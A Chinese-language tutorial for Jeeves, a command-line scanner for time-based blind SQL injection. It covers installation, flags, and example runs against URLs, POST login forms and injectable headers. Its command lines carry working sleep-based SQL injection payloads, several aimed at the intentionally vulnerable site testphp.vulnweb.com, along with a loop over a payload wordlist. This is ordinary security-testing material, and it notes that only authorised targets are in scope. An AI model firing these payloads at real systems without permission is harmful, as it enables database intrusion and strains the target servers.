Jeeves:一款功能强大的SQL注入漏洞扫描工具
字数 1316 2025-08-12 11:33:43
Jeeves SQL注入漏洞扫描工具使用指南
一、工具概述
Jeeves是一款功能强大的SQL注入漏洞扫描工具,专门用于检测基于时间的SQL盲注漏洞。该工具基于Go语言开发,具有以下特点:
- 专注于时间盲注漏洞检测
- 支持多种测试场景(GET/POST请求、代理、自定义Header等)
- 命令行工具,易于集成到自动化流程中
- 开源项目,遵循MIT许可证
二、SQL盲注基础
盲注类型
-
布尔盲注:
- 根据注入信息返回True或False
- 无报错信息返回
-
时间盲注:
- 界面返回值只有一种(True)
- 通过特定时间函数引入时间差来判断注入是否成功
- Jeeves主要针对此类漏洞进行检测
三、环境准备
安装Go语言环境
使用Jeeves前需先安装Go语言环境:
- 从Go官网下载并安装适合您操作系统的Go版本
- 配置Go环境变量
安装Jeeves
两种安装方式:
-
直接安装:
go install github.com/ferreiraklet/Jeeves@latest -
源码编译安装:
git clone https://github.com/ferreiraklet/Jeeves.git cd Jeeves go build jeeves.go chmod +x jeeves
四、基本使用
命令帮助
./jeeves -h
参数说明
| 参数 | 全称 | 描述 |
|---|---|---|
| -t | --payload-time | Payload中定义的时间(秒) |
| -p | --proxy | 通过代理发送流量 |
| -c | 设置并发度(默认25) | |
| -H | --headers | 自定义Header |
| -d | --data | 使用POST请求发送数据 |
| -h | 显示帮助信息 |
五、测试场景
1. 测试单个URL
基本格式:
echo '目标URL' | jeeves -t 延迟时间
示例:
echo 'https://redacted.com/index.php?id=1' | jeeves -t 5
使用qsreplace构造Payload:
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5
注意:
--payload-time必须与Payload中的sleep时间一致
2. 批量测试URL列表
cat targets.txt | jeeves --payload-time 5
3. 添加自定义Header
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -H "Testing: testing;OtherHeader: Value;Other2: Value"
4. 使用代理测试
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 --proxy "http://ip:port"
简写形式:
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -p "http://ip:port"
5. 代理+Header组合
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5 --proxy "http://ip:port" -H "User-Agent: xxxx"
6. POST请求测试
适用于登录表单等场景:
echo "https://example.com/Login.aspx" | jeeves -t 10 -d "user=(select(0)from(select(sleep(5)))v)&password=xxx"
带Header和代理的POST请求:
echo "https://example.com/Login.aspx" | jeeves -t 10 -H "Header1: Value1" -d "username=admin&password='+(select*from(select(sleep(5)))a)+'" -p "http://yourproxy:port"
7. 使用SQL Payload字典
cat sql_wordlist.txt | while read payload; do echo http://testphp.vulnweb.com/artists.php?artist= | qsreplace $payload | jeeves -t 5; done
8. Header注入测试
测试User-Agent头:
echo "https://target.com" | jeeves -H "User-Agent: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
测试X-Forwarded-For头:
echo "https://target.com" | jeeves -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
六、高级技巧
-
时间设置:
- 确保
-t/--payload-time参数值与Payload中的sleep时间完全一致 - 对于复杂Payload,可能需要调整时间值
- 确保
-
并发控制:
- 使用
-c参数调整并发请求数(默认25) - 根据目标服务器性能调整,避免过度请求
- 使用
-
Payload定制:
- 可参考项目提供的Payload或自行构造
- 确保Payload语法与目标数据库类型匹配
七、注意事项
- 合法使用:仅对授权目标进行测试,遵守相关法律法规
- 测试影响:时间盲注测试会对目标服务器造成额外负载
- 结果验证:工具检测结果需要人工验证确认
- 网络环境:确保网络延迟不会影响时间判断的准确性
八、资源参考
- 项目地址:Jeeves GitHub仓库
- Payload参考:rohit0x5的GitHub
- 许可证:MIT开源协议
通过本指南,您应该能够全面了解Jeeves工具的功能和使用方法,有效地检测目标系统中的时间盲注漏洞。请始终记住在合法授权范围内使用安全工具。